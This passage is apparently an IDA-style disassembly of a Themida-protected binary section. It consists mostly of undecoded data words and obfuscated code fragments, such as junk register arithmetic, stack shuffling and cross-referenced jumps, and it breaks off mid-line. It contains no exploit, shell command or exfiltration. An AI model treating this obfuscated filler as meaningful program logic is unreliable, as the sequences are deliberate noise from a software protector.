55585424h, 1EE68h, 24348900h dd 4BEh, 77676800h, 34890000h, 15E5D24h, 0C0835DE8h, 24048702h dd 3245E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_547CBE: ; CODE XREF: Themida_:0054D0F9j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h, 0C3h, 0FFh dd 48B2434h, 4C48124h, 52000000h, 0C281E289h, 4, 8704EA83h dd 0D9E92414h, 66000065h, 6661B768h, 66242C89h, 662227BDh dd 8B66E829h, 2BE9242Ch, 5FFFFDFh, 2204726h, 0E957D029h dd 4B98h, 0BB241C89h, 0F3F3022h, 4245C01h, 81241C8Bh, 4C4h dd 51E95900h, 0B8000000h, 385128C4h, 5B40BB53h, 0D8312B30h dd 0E0C1485Bh, 0BB2E908h, 0F660000h, 9C2404BBh, 25C4E9h dd 0F7D9F700h, 4E1C1D1h, 1668C981h, 0F1810632h, 0AB7A9CAh dd 0C8BC801h, 4C48324h, 5557D801h, 8904EC83h, 8EB82404h dd 0E940B739h, 0FFFFC28Dh, 46B2BD55h, 0BF573DDBh, 33B87559h dd 3EEF814Fh, 0E91FAD4Eh, 0FFFFC28Fh, 0AC6591B9h, 3E1C177h dd 8108E9C1h, 1F639EC9h, 0B3E9811Bh, 8951F893h, 0FB0159CFh dd 0E9D8015Fh, 0FFFFEF93h, 2BBh, 0E9DD0100h, 0FFFFF7EAh dd 0E95FFD31h, 0FFFFFAB4h, 81240C8Bh, 4C4h, 27E95B00h dd 81000025h, 0C0453AF6h, 5EF3010Fh, 0FFD362E9h, 8734FFFFh dd 3288E9h, 89665C00h, 0F66240Ch, 5166C8B6h, 0BAEBE99Ch dd 8B66FFFFh, 89532404h, 4C381E3h, 81000000h, 4EBh, 241C8700h dd 1BD1E95Ch, 0C5810000h, 4, 0FFAB13E9h, 4C481FFh, 5B000000h dd 6866D800h, 896665C2h, 7DB22414h, 37E95166h, 0B2FFFFA9h dd 0E9506628h, 0FFFFCFF4h, 0BA525E54h, 71864C10h, 6B89E9h dd 47E95700h, 31000049h, 1C33241Ch, 24248B24h, 240C8B66h dd 786768h, 6D26E900h, 148B0000h, 4C48124h, 81000000h dd 49726BEBh, 81C32908h, 49726BC3h, 0EB815808h, 1877557Fh dd 0D0CCE955h, 815AFFFFh, 4C2h, 4EA8300h, 5C241487h, 2261E9h dd 24348B00h, 5104C483h, 5E3D87B9h, 59CE016Bh, 6CE4C681h dd 0EED16999h, 2394B951h, 0E981280Ah, 0BB1BB316h, 8959CE31h dd 18B95EF2h, 31698514h, 0EF815AD1h, 0C064C44h, 8DE9CF29h dd 0B5FFFFD0h, 59EB28F9h, 1C8BD828h, 4C48124h, 0 aFhvdsq6 db 'Øfh‚Déï6',0 align 2 aWs_s db 'WS_é\-',0 align 2 aVS db 'V[éÀ',27h,0 dd 0CD015B00h, 0FFD8B7E9h, 3EB068FFh, 4890000h, 89D88924h dd 24048BC2h, 4C481h, 0D5E90000h, 68FFFFF4h, 51202749h dd 5DEB295Dh, 0E9008F59h, 0FFFFA7E8h, 24148B58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5453DD ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 0EE4762B9h, 17C18136h, 810FE004h, 8D70F5E9h dd 0A994E97Bh, 0BD55FFFFh, 2BA75726h, 0C64ED81h, 0ED811981h dd 95B53DB2h, 47D6E9h, 45D5F700h, 34D7ED81h, 0ED836AF7h dd 0EAED8101h, 2911BC61h, 242C8BEBh, 4C481h, 0EB810000h dd 8DFC9C1Dh, 0FFA77BE9h, 4EB81FFh, 81000000h, 4ECh, 0A9A5E900h dd 0BF5FFFFFh, 297A34A0h, 0E95EF729h, 0FFFFC6E4h, 525AD301h dd 166F78BAh, 0E114E935h, 49E9FFFFh, 5BFFFFA7h, 2414F752h dd 0FFC2835Ah, 69C2814Ah, 42669544h, 7D7FC281h, 89E9A5D8h dd 5BFFFFF9h, 4A32E681h, 0C6E979A1h, 1FFFFC6h, 0EF8959CDh dd 8BF8215Dh, 82E9243Ch, 66000060h, 50240C8Bh, 5404EC83h dd 5324048Fh, 4BBh, 245C0100h, 241C8B04h, 4C481h, 48B0000h dd 4C48124h, 5000000h, 4, 205h, 7F0D6800h, 4890000h, 2474FF24h dd 24048B04h, 0FFEAF3E9h, 1C083FFh, 3A2DD8F7h, 319E2FA3h dd 0EFC158C7h, 4FC78105h, 4775135Dh, 0D285EF81h, 0F8017ADBh dd 2C0835Fh, 2474FF50h, 2434FF04h, 95E95358h, 0FFFFFFC6h dd 59042474h, 8B24048Fh, 89662424h, 50662414h, 0A682E99Ch dd 0BE56FFFFh, 37986420h, 514EDEF7h, 32457FB9h, 0F181494Fh dd 0DF40C13Bh, 3159CE31h, 0EF815EF7h, 2E826587h, 8105E7C1h dd 0C0E0C1C7h, 0DF55E966h, 0D6F7FFFFh, 0FFF44AE9h, 0E08950FFh dd 405h, 42D00h, 4330000h, 24043124h, 8B240433h, 14892424h dd 4000BA24h, 0D0210000h, 5A2434FFh, 4EC81h, 14890000h dd 0E9E28924h, 0FFFFC76Fh, 815A5452h, 4C2h, 4EA8300h, 0E9241487h dd 0FFFFDD75h ; --------------------------------------------------------------------------- loc_548128: ; CODE XREF: Themida_:005444CAj add eax, 5C1926DEh add eax, edx sub eax, 5C1926DEh jmp loc_54325C ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 58000000h, 0D66AE953h, 2959FFFFh, 24048BC3h dd 386BE9h, 24048900h, 8D50D9B8h, 53354019h, 2D74D83Ah dd 4F825C59h, 3C0BE9h, 3058B800h, 76053901h, 0E97BA549h dd 2D2Ch, 83240C8Bh, 8C6804C4h, 89000030h, 53E9240Ch, 5A00003Bh dd 6C9DE9h, 4EC8100h, 89000000h, 92682414h, 54000029h dd 8324048Fh, 3C8904ECh, 4BF24h, 44810000h, 30A60424h dd 7C014344h, 6C810424h, 30A60424h, 0FF5F4344h, 815A2434h dd 4C4h, 4C28100h, 81000000h, 2C2h, 24148700h, 6624248Bh dd 9C240429h, 0FFA53BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5481ED: ; CODE XREF: Themida_:0054EC4Dj mov ebx, 0 sub ebx, 517F7D8Dh add ebx, eax push ebp mov ebp, 49766CB2h shr ebp, 3 jmp loc_549035 ; --------------------------------------------------------------------------- dd 24048B66h, 23E95450h, 89FFFFFAh, 4C181E1h, 81000000h dd 4E9h, 636FE900h, 89560000h, 4C681E6h, 0E9000000h, 6294h dd 0E10F2FBBh, 0A3CB8157h, 4B7FFC75h, 0AEEB8143h, 2D72FE0Eh dd 5A517903h, 3EB8E9h, 4C18100h, 83000000h, 0C8704E9h dd 1C895C24h, 3ACEE924h, 8AB40000h, 3DE9DCF6h, 0BE000067h dd 4, 875EF101h, 95E9240Ch, 5AFFFFE8h, 0B162E945h, 0E901FFFFh dd 0F181495Dh, 29147565h, 2159CF89h, 243C8BF8h, 55E18951h dd 1E3A1DBDh, 81DDF75Ch, 1E3A21C5h, 0D00BE95Ch, 0C281FFFFh dd 4, 2C281h, 14330000h, 24143124h, 600CE9h, 0AF28000h dd 0E9CBEA80h, 0FFFFF164h, 0C6FEC6FEh, 0E950D6F6h, 1267h dd 5E4DED81h, 0EC831BD1h, 24148904h, 150CBD55h, 0D5F70264h dd 856BC581h, 0EA8975CDh, 81242C8Bh, 4C4h, 5AD50900h, 2BB7BB53h dd 0DD097FF7h, 508EE95Bh, 0CB810000h, 4A62FD0h, 0E3C1D3F7h dd 0DFF8E908h, 815DFFFFh, 4EFh, 243C8700h, 241C895Ch, 499EBA52h dd 9FBB4321h, 31432149h, 0D8215AD3h, 83241C8Bh, 0C00904C4h dd 4051840Fh, 57530000h, 4865E950h, 2FB90000h, 0C155FC30h dd 0EC8103E9h, 4, 4F15E9h db 0 ; --------------------------------------------------------------------------- loc_548369: ; CODE XREF: Themida_:0054AD73j push 7138h jmp loc_54E7E2 ; --------------------------------------------------------------------------- db 80h dd 0C380C1C3h, 11EB8082h, 20E9C300h, 83000023h, 348704C6h dd 0F7815C24h, 1E504746h, 0A471F62Dh, 5F82955h, 55A471F6h dd 81243C8Bh, 4C4h, 12E95600h, 6800000Bh, 1E13h, 0E9241489h dd 0FFFFA370h, 0BFCFE952h, 815FFFFFh, 4C7h, 2244E900h dd 0EC830000h, 241C8904h, 87160968h, 5BE95B04h, 0FE00001Eh dd 0C0ED80CDh, 0E942C580h, 1988h, 5559CF89h, 1F355BDh dd 8BEF01C1h, 0C483242Ch, 3E32E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5483FE: ; CODE XREF: Themida_:005461FAj xor al, 0ECh xor cl, al pop eax add cl, 3Fh inc cl push edx push ebx jmp loc_54688D ; --------------------------------------------------------------------------- db 54h dd 0BB7CE959h, 0C8BFFFFh, 4C48324h, 0E9E68956h, 3731h dd 89242C89h, 0C6E957E5h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54842F: ; CODE XREF: Themida_:0054D82Cj mov ah, bl pop bx jmp loc_543068 ; --------------------------------------------------------------------------- dd 0B8B951ADh, 0E963280Ah, 0FFFFF901h, 556FF681h, 0E68157BAh dd 69C04066h, 0FFE515E9h, 34875DFFh, 3972E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54845E: ; CODE XREF: Themida_:00542D17j push ebp mov ebp, 1DD3776Fh or ebp, 58BC0055h and ebp, 61B54E8Fh sub ebp, 2ACC6F04h jmp loc_54D0C8 ; --------------------------------------------------------------------------- db 5Bh dd 0FFF608E9h, 33BE56FFh, 81081F51h, 5371C9CEh, 88C68133h dd 56ED07BEh, 0E5815E5Dh, 115711Ch, 6641E9h, 4C48100h dd 31000000h, 0CB2D5BD9h, 0E9493078h, 53A2h, 5112E280h dd 0EA3047B5h, 80C2FE59h, 0CA8020E2h, 3AC280B0h, 0E95AD188h dd 115Ah, 0BA6729B9h, 0ED2EE90Eh, 0C101FFFFh, 0E924048Bh dd 2512h, 0B6241489h, 5A9E97Dh, 29660000h, 6604246Ch, 2306E95Dh dd 8B660000h, 0EC812404h, 4, 0E9242C89h, 0FFFFE2E8h, 405E089h dd 53000000h, 4BBh, 59BAE900h, 0BE560000h, 4, 51F4E9h dd 56515600h, 0F941D5BEh, 0DDC68100h, 89668802h, 9FBE5EF1h dd 29CADEABh, 0D6F759CEh, 0E9525146h, 0FFFFE58Ah, 0E9F1295Ch dd 432h, 2404895Ch, 168h, 2CBE900h, 0CF810000h, 303874E8h dd 0F781EFD1h, 1BFFFB78h, 203268h, 243C8900h, 83242C8Bh dd 15F04C4h, 5D04246Ch, 1089E9h, 0C0F50400h, 0C8FE02E8h dd 1234C8FEh, 2858C688h, 58CAE9F3h, 0F8310000h, 83243C8Bh dd 0D8E904C4h, 81FFFFCBh, 0CD2EC0F3h, 5BDE0149h, 0FFCEDDE9h dd 0FF5452FFh, 0E95A2434h, 403Fh, 0E9242489h, 2466h, 2BD005ADh dd 0D801114Ah, 4C8B68h, 240C8900h, 2E06E957h, 645C0000h dd 3DE90288h, 0FFFFFFA1h, 0E9042474h, 0FFFFACE3h, 3246C00h dd 0F6595966h, 80C5FED5h, 0E8004BC5h, 50240C8Bh, 6BCE9h dd 0E9E88900h, 1021h, 4C281h, 83550000h, 3C8904ECh, 4A00BF24h dd 0E781414Fh, 1F687CE1h, 348AEF81h, 0EF812BB9h, 677B7125h dd 8102EFC1h, 7B1770C7h, 5FFD89E4h, 2C8BEA01h, 4C48324h dd 8B241487h, 34FF2424h, 2434FF24h, 8324048Bh, 63E904C4h dd 5300005Ah, 2CC0BA52h, 0CDBB0B67h, 29889D64h, 68E95AD3h dd 81FFFFD2h, 4ECh, 24148900h, 5A93B850h, 0E9505A4Fh, 0FFFFF517h dd 24048F5Ch, 2DF3E9h db 0 ; --------------------------------------------------------------------------- loc_548695: ; CODE XREF: Themida_:00544F3Bj and ecx, 19D84CFAh or ecx, 17B94F34h sub ecx, 17B94FF0h add [esp+4], ecx mov ecx, [esp] add esp, 4 pop ebx add ebx, 4 push edx mov edx, 3FF17FA9h add edx, 0C00E8059h add ebx, 15626427h jmp loc_545631 ; --------------------------------------------------------------------------- dw 1C89h aTsU db '$Té}U',0 dw 8100h dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 0F9F75C24h, 1C8168h dd 24148900h, 29E99C50h, 1FFFFA0h, 5904244Ch, 0BB53515Fh dd 22556B3Fh, 0AA94C5B9h, 8BD901DDh, 0E7E9241Ch db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54871B: ; CODE XREF: Themida_:0054B550j pop dword ptr [esp] pop esp btr [esp], ax pushf jmp loc_54B956 ; --------------------------------------------------------------------------- dw 0F281h dd 23481470h, 0E95AD501h, 659Dh, 159C801h, 84BE56D8h, 293B5222h dd 653DE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi jmp loc_54D707 ; --------------------------------------------------------------------------- db 45h, 81h, 0F5h dd 22C908h, 815DEB01h, 8A4632EBh, 4FF531Bh, 0BF575B24h dd 4F3C2E72h, 3EFC14Fh, 610AF781h, 0FB017B4Ah, 0E9243C8Bh dd 0FFFFFD19h, 4246C01h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5440D6 ; --------------------------------------------------------------------------- dd 0DF77FCBAh, 60F7E919h, 74FF0000h, 8F5A0424h, 248B2404h dd 0E8EA8124h, 816ACA4Fh, 0EA4EDEC2h, 81C2017Dh, 0EA4EDEEAh dd 0D668577Dh, 0E9000038h, 0FFFFE8F5h, 0D2C4F281h, 0D50153F7h dd 78E94D5Ah, 1000045h, 148B5FF8h, 4C48324h, 5DD468h, 243C8900h dd 411DE9h, 6EC58100h, 5827A077h, 1D18E9h db 0 ; --------------------------------------------------------------------------- loc_5487F9: ; CODE XREF: Themida_:0054C35Dj shr edx, 1 cmp eax, edx jz loc_5458F0 push 2EDEh mov [esp], esi push 0 mov esi, [esp] push 797Ah mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_544BEF ; --------------------------------------------------------------------------- db 58h, 9, 47h dd 24048B1Ch, 0C8B5451h, 4C48124h, 81000000h, 4C1h, 4202E900h dd 4BF0000h, 1000000h, 243C8BFDh, 81E38953h, 4C3h, 4C38100h dd 87000000h, 0D1E9241Ch, 5AFFFFAEh, 4313E9h, 81E3D100h dd 7FE04C3h, 50CBE919h, 0BE560000h, 4, 4A6FE9h, 99E9C300h dd 43FFFF9Eh, 0E908E3C1h, 0FFFFFFD9h, 6940EA81h, 0F2012D6Dh dd 6940C281h, 0E95E2D6Dh, 0FFFFDCF0h, 5C240487h, 52240C89h dd 9BE963B6h, 6800005Eh, 7C91h, 0B5240C89h, 0FFC580DFh dd 0ED80CDFEh, 35B0E9CAh, 0C3810000h, 4, 2474FF53h, 48F5B04h dd 0F665C24h, 0E95500B6h, 633Bh, 724AA35h, 0EAE94Ch, 0E8210000h dd 0FFAF6CE9h, 99F480FFh, 0EEE9E328h, 66000005h, 6824048Bh dd 4322h, 0E9241C89h, 0FFFFE9E0h ; --------------------------------------------------------------------------- loc_548918: ; CODE XREF: Themida_:0054A1D7j sub bl, 2Dh sub bl, dl add bl, 2Dh pop edx jmp loc_54510E ; --------------------------------------------------------------------------- dw 0C380h dd 5BD908A7h, 4CFC180h, 2CC80005h, 742C5905h, 3A986851h dd 14890000h, 0E9E1B624h, 3864h ; --------------------------------------------------------------------------- loc_548948: ; CODE XREF: Themida_:005474C4j push bx mov bl, 0B2h sub al, bl jmp loc_54D019 ; --------------------------------------------------------------------------- db 83h dd 0C83004C4h, 240C8B66h, 51E68956h, 881369B9h, 0EC814177h dd 4, 0BD242C89h, 0AE27199h, 5AE1E9h, 24048700h, 489665Ch dd 9DA2E924h, 0F75EFFFFh, 8E1C1D9h, 2D5CE981h, 0C83141EBh dd 391AE959h, 0F7410000h, 93F181D1h, 3139B617h, 0E95359CDh dd 0FFFFB4E9h, 0F8629305h, 5D0F705h, 560411B8h, 852A6D25h dd 841351Fh, 0C6010C84h, 0E5BD5558h, 0E916BF34h, 0FFFFCB72h dd 0C8BCA01h, 4C48124h, 0E9000000h, 3932h, 82CB4A05h, 0FFC60150h dd 81582434h, 4C4h, 81EE2900h, 0F772F4EEh, 0EC835D7Dh dd 243C8904h, 0FFC773E9h, 244481FFh, 0FA20D904h, 246C0156h dd 246C8104h, 0FA20D904h, 478F5D56h, 4EC8124h, 89000000h dd 4FE9241Ch db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A2B: ; CODE XREF: Themida_:0054E076j jmp loc_542728 ; --------------------------------------------------------------------------- loc_548A30: ; CODE XREF: Themida_:0054CB1Fj mov ebp, 25CB149Ch push 6461h mov [esp], ebp not dword ptr [esp] mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_549477 ; --------------------------------------------------------------------------- dd 29104535h, 4A5F2D7Bh, 0E6052D41h, 0E9B153DBh, 0FFFFFA72h dd 22B0EA81h, 0D021480Ch, 8124148Bh, 4ECh, 240C8900h, 0C181E189h dd 4, 3220E957h, 14890000h, 5071B624h, 0C3E9F488h, 51FFFFBDh dd 0C180EAB1h, 0F3C180AEh, 0AAE9h, 0C8B6600h, 0E0895024h dd 405h, 2BB5300h, 0E9000000h, 0FFFF9E14h ; --------------------------------------------------------------------------- loc_548ABC: ; CODE XREF: Themida_:0054A81Dj mov bl, 47h mov al, bl pop ebx mov ch, al pop eax jmp loc_54ED63 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 83000000h, 148704EAh, 1C895C24h, 0E95B5424h, 19E7h dd 0E9F00166h, 8C3h, 0B0F3E95Eh, 0E958FFFFh, 0FFFFEC28h dd 28285A05h, 3BF574Bh, 0E903C623h, 2AB3h, 33E9DAF7h, 5BFFFFCBh dd 4203E9h, 4EC8100h, 89000000h, 58542404h, 68525152h dd 0E645A25h, 0AE2815Ah, 815BD35Eh, 0D30518EAh, 0C707E9FBh dd 0AFBFFFFFh, 51003E1Bh, 4713C068h, 0F181595Bh, 1CE159FBh dd 87E9CE89h, 8000050h, 9EE959CEh, 51000018h, 0BB53E189h dd 4, 555BD901h, 4BDh, 5DE92900h, 0C0BE9h, 2434FF00h, 89E9535Eh dd 0BF000010h, 25766B5Ch, 815FFD31h, 0EE3181EDh, 0E7F5814Ah dd 29EC8C90h, 2BE95DEFh db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548B97: ; CODE XREF: Themida_:0054AB46j add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] add esp, 4 jmp loc_542728 ; --------------------------------------------------------------------------- dd 4C281h, 8E90000h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548BB7: ; CODE XREF: Themida_:005451AAj push small 556Dh mov [esp], bx jmp loc_548FFA ; --------------------------------------------------------------------------- loc_548BC4: ; CODE XREF: Themida_:0054DB42j add edx, 5F4C2D88h shr edx, 3 and edx, 75757763h neg edx push ebp mov ebp, 56E2694Ch and ebp, 423119D6h or ebp, 25557809h jmp loc_54A556 ; --------------------------------------------------------------------------- dd 4E5C059h, 0FFF7E6E9h, 0E95153FFh, 0FFFFB4ACh, 0F84BB53h dd 0F38136C9h, 608B4B77h, 529ACB81h, 0EE9594Bh, 81FFFFEEh dd 4C3h, 241C8700h, 5E70685Ch, 14890000h, 4EC8124h, 0E9000000h dd 208Bh, 5C240C87h, 68240C89h, 32872FBBh, 0ED96859h, 4890000h dd 4EC8124h, 89000000h, 0B068241Ch, 5B7D501Bh, 0FFA91AE9h dd 0A2F680FFh, 148BF528h, 4C48124h, 0FE000000h, 0ADF580C5h dd 2866ED80h, 240C8BE8h, 4C481h, 6EE90000h, 68FFFFA4h dd 318Ah, 1DEAE9h, 24248B00h, 1049E9h, 0E6895600h, 4C681h dd 0EE830000h, 24348704h, 1AE4E9h, 24048B00h, 56E28952h dd 816AF1BEh, 0CAE9463Eh, 0D300003Ah, 0E99C2424h, 0FFFF9A68h dd 240C8B66h, 3E9FE9h, 5E08900h, 4, 405h, 0CEA6E900h, 0AABEFFFFh dd 0E9199C39h, 2007h, 4AEB815Dh, 2977827Bh, 4AC381C3h dd 0E977827Bh, 2D54h, 55240C89h, 4BDh, 0E9E98900h, 4B35h dd 8F665466h, 53662404h, 2BB66h, 24448166h, 665CCA02h dd 2246C81h, 6DE9216Ch, 83FFFFB8h, 0CCE904ECh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548D2F: ; CODE XREF: Themida_:0054CC28j pop esi mov edx, ebp jmp loc_54337C ; --------------------------------------------------------------------------- db 59h dd 5A2434FFh, 5E08950h, 4, 405h, 24048700h, 19D9685Ch dd 1C890000h, 0E9535024h, 0FFFF9D79h, 280D45BFh, 5FFD013Eh dd 4F53BF57h, 4DE96ED4h, 8BFFFFF0h, 69E92434h, 5000003Ah dd 6B15B2B8h, 58C1890Dh, 0F759CB09h, 0BAF381DBh, 13C9B14h dd 8B04245Ch, 0C481241Ch, 4, 0FF998BE9h, 0F2814AFFh, 7FAB37h dd 875AD301h, 535C241Ch, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8968241Ch, 8900001Ah, 0BF57240Ch, 10000h, 515FF989h dd 5B2434FFh, 8B04C483h, 0C483240Ch, 0C9BDE904h, 815AFFFFh dd 256C03EFh, 0E4F7E923h, 0EC81FFFFh, 4, 51241489h, 0B06D7CB9h dd 0E9CA8977h, 0FFFFB765h, 0FFFB315Ch, 575F2434h, 0C7815F54h dd 4, 442AE9h, 2434FF00h, 5911E9h, 24043100h, 5C240433h dd 0FFB325E9h, 24048BFFh, 0AB0CE950h, 535FFFFFh, 1BCFE9h dd 89EF2900h, 0F5815FFDh, 0DD81DBB4h, 0FF9AC0E9h, 48F5DFFh dd 24248B24h, 0E368F1F7h, 8900001Ch, 4FE92414h, 68FFFFE7h dd 3BEh, 50241C89h, 9435E3B8h, 4E0C11Dh, 0DC2CBB25h, 2AFEE977h dd 0C870000h, 4BE95C24h, 89FFFFF8h, 0DAE9242Ch, 66000058h dd 83C8BE0Fh, 48904ECh, 0E9E08924h, 0FFFFE7C0h, 27A5E95Eh dd 0C8310000h, 4EC81h, 4890000h, 48B5224h, 0E7895724h dd 0FFBC44E9h, 0E95550FFh, 0A56h, 56243C8Bh, 0C681E689h dd 4, 17D468h, 24048900h, 0D35D04B8h, 5635402Dh, 53524C3Eh dd 632856BBh, 0F424E907h, 0EB01FFFFh, 3D05E9h, 59665800h dd 0EB80F328h, 148B663Bh, 0E7895724h, 0FFA45FE9h, 24048FFFh dd 0E924248Bh, 37DFh, 8858C528h, 35E959E8h, 81FFFFADh dd 2E5ACACEh, 76EE8132h, 81355F3Ah, 0B5E8EFC6h, 5EF589C2h dd 9701F3BBh, 5DEB3175h, 95E38143h, 0C1200862h, 0E38107EBh dd 22870C5Eh, 23BDF381h, 0DD890B80h, 0D214E95Bh, 575DFFFFh dd 7510E4BFh, 45BBB78h, 0FB3129EAh, 4E87E95Fh, 0E95A0000h dd 0FFFFB656h, 4953F181h, 0C1817B7Fh, 0B63B03EDh, 159CB01h dd 0C9EB81FBh, 5F323242h, 2C381h, 0D9E90000h, 68FFFFE9h dd 7A8371DAh, 81240C8Bh, 4C4h, 1CC18100h, 81104D59h, 505BE4E9h dd 0AD77E957h, 0E9ADFFFFh, 0FFFFE20Ah, 875AD629h, 895C2434h dd 58542404h, 5E08950h, 4, 455FE9h, 0A1BB5300h, 5630C95Ch dd 4F453EBEh, 50A3E931h, 0E95B0000h, 0FFFFA021h, 815A5452h dd 4C2h, 71E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548FFA: ; CODE XREF: Themida_:00548BBFj mov bl, 50h add al, 75h sub al, 17h push edx push eax push bx push edx mov dl, 90h mov bl, dl mov edx, [esp] jmp loc_54D829 ; --------------------------------------------------------------------------- loc_549011: ; CODE XREF: Themida_:0054BDDEj pop esi jmp loc_54AA43 ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFD758h, 4C4815Fh, 0E9000000h, 0FFFF9EB7h dd 42474FFh, 1E2FE9h db 0 ; --------------------------------------------------------------------------- loc_549035: ; CODE XREF: Themida_:00548203j push eax jmp loc_54CC56 ; --------------------------------------------------------------------------- db 83h dd 0E95004C0h, 3287h, 5EF28958h, 4747EA81h, 2CE90B87h dd 0BAFFFFC2h, 65E1EABh, 0E95AD189h, 0FFFFE502h, 0F0168F2Dh dd 24E95E20h, 81000006h, 4EAh, 24148700h, 0E9E95Ch, 0E9550000h dd 0FFFFB465h, 0E189515Dh, 4C181h, 0C1830000h, 240C8704h dd 81CF015Ch, 66454AEFh, 5568FD7Ch, 89000043h, 0E950243Ch dd 0FFFFE4A6h, 582434FFh, 81E78957h, 4C7h, 2FE86800h, 1C890000h dd 46824h, 0C1E90000h, 0BE000021h, 60BE6802h, 8246C81h dd 41716E30h, 3A7BE9h, 1C28000h, 3CE9E9h, 0A3E95C00h, 8BFFFFD8h dd 3DE9240Ch, 0FFFFFFDCh, 89E92434h, 8BFFFFFFh, 62E95A0Ah dd 89FFFF9Bh, 0DDF75EF5h, 0FFB65CE9h, 4EC81FFh, 89000000h dd 92E92404h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549117: ; CODE XREF: Themida_:0054B431j sub edx, esi pop esi jmp loc_543310 ; --------------------------------------------------------------------------- aNsa db 'éí%',0 dd 88505A00h, 582188F4h, 0FFDBBAE9h, 0C8B66FFh, 0E3895324h dd 0FF98A2E9h, 0E95453FFh, 73Bh, 7C5468h, 0FD39E900h, 0D5E9FFFFh dd 5AFFFF95h, 0CCAE9h, 40500h, 0D8E90000h, 89FFFFFEh, 0E789243Ch dd 4BE56h, 0F7010000h, 4BD555Eh, 1000000h, 242C8BEFh, 4C481h dd 3C870000h, 24248B24h, 9B3A6B35h, 0EF4BE96Eh, 0C329FFFFh dd 0B8505658h, 640400A6h, 48BC689h, 25E9E924h, 0BD550000h dd 4, 0FFBF09E9h, 2CD25CFFh, 6DE99C24h, 83FFFF95h, 5A042404h dd 4C281h, 0C2810000h, 4, 5C241487h, 5004C483h, 0D83394B8h dd 0F7D8F741h, 2DEAE9D8h, 0DBF70000h, 3DEBEB81h, 0DF29D9B5h dd 241C8B5Bh, 4C481h, 3C870000h, 24248B24h, 9C240431h dd 0FF9523E9h, 240431FFh, 3F51E9h, 0E9545000h, 0FFFFCD2Dh dd 0DF768h, 24048900h, 4697BE56h, 40E95A53h, 0BEFFFFD2h dd 4, 212AC281h, 0F2011632h, 5EB8BD55h, 0E5C15046h, 1CE94506h dd 5BFFFFB4h, 0F35FF931h, 386203A5h, 609768h, 5926E900h dd 3C890000h, 4EC8124h, 89000000h, 0BF57242Ch, 55F85DD1h dd 17BCF81h, 0D7F727EAh, 772DE781h, 0C78173ECh, 0FFFBDE00h dd 515FFD89h, 0CF89E989h, 242C8B59h, 104C483h, 243C8BF8h dd 5427E9h, 0C3215800h, 6E3C158h, 704268h, 243C8900h, 0BF2CE955h dd 0E958FFFFh, 2959h, 8108E9C1h, 0A03E62C1h, 55BE5620h dd 462F5A0Eh, 8105EEC1h, 0B62DDEEEh, 7E6C111h, 2012BA52h dd 0D62935B3h, 0ABC6815Ah, 953E941h, 3CE95EF1h, 81FFFFB1h dd 0D5596EF7h, 7F1E913h, 3C890000h, 52E78924h, 4BAh, 5AD70100h dd 4BA52h, 0D7290000h, 269DE9h, 40500h, 4870000h, 0AE79E924h dd 835AFFFFh, 29E904C4h, 0BDFFFFA2h, 4, 4214EE81h, 7AE95903h dd 8800001Ah, 865266EEh, 0E9012444h, 0A1Fh, 240C8B66h dd 0B6B4E955h, 8B66FFFFh, 81532404h, 4ECh, 0F26EE900h dd 0CFFFFFFh, 2414F724h, 0FFC54EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549361: ; CODE XREF: Themida_:0054C6D1j add ebp, 6F8E16B9h mov ebx, [esp] add esp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_543FB4 ; --------------------------------------------------------------------------- db 80h dd 0FA0007EFh, 0E9D0305Bh, 563Fh, 242C8966h, 2414F766h dd 242C8B66h, 1E3D6856h, 24890000h, 24048324h, 0FAFAE904h dd 7DE9FFFFh, 57FFFF93h, 87BBF66h, 1FF78166h, 0F8296640h dd 665E665Fh, 66564868h, 56240C89h, 2865BE66h, 8904EC83h dd 68662404h, 8B667192h, 0C4812404h, 2, 66D8F766h, 660CC30Dh dd 69E95752h, 1000046h, 0C78359CFh, 243C8704h, 2A95E95Ch dd 5D5B0000h, 0B951EAD1h, 13B45AC1h, 506F181h, 0E1C16284h dd 0A1F5E902h, 0FF5CFFFFh, 0E9582434h, 3CA1h, 0E9F0295Bh dd 0FFFFD852h, 0A572E95Bh, 1C89FFFFh, 0FCE95424h, 8700005Ah dd 0E95C242Ch, 0FFFFAE80h, 374EEA81h, 0C28179F6h, 0EF3F68D1h dd 335AD601h, 34312434h, 24343324h, 0FFF189E9h db 0FFh ; --------------------------------------------------------------------------- loc_549459: ; CODE XREF: Themida_:0054A0E1j mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_549F88 ; --------------------------------------------------------------------------- aTso db 9,'ÂÑâé®=',0 db 0 ; --------------------------------------------------------------------------- loc_549477: ; CODE XREF: Themida_:00548A4Fj xchg ecx, [esp] pop esp shl ebp, 4 shr ebp, 3 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_54332D ; --------------------------------------------------------------------------- db 89h dd 0BF055FF9h, 1519650h, 50BF2DC8h, 53E95196h, 57000048h dd 375FE7BFh, 0DEC7816Fh, 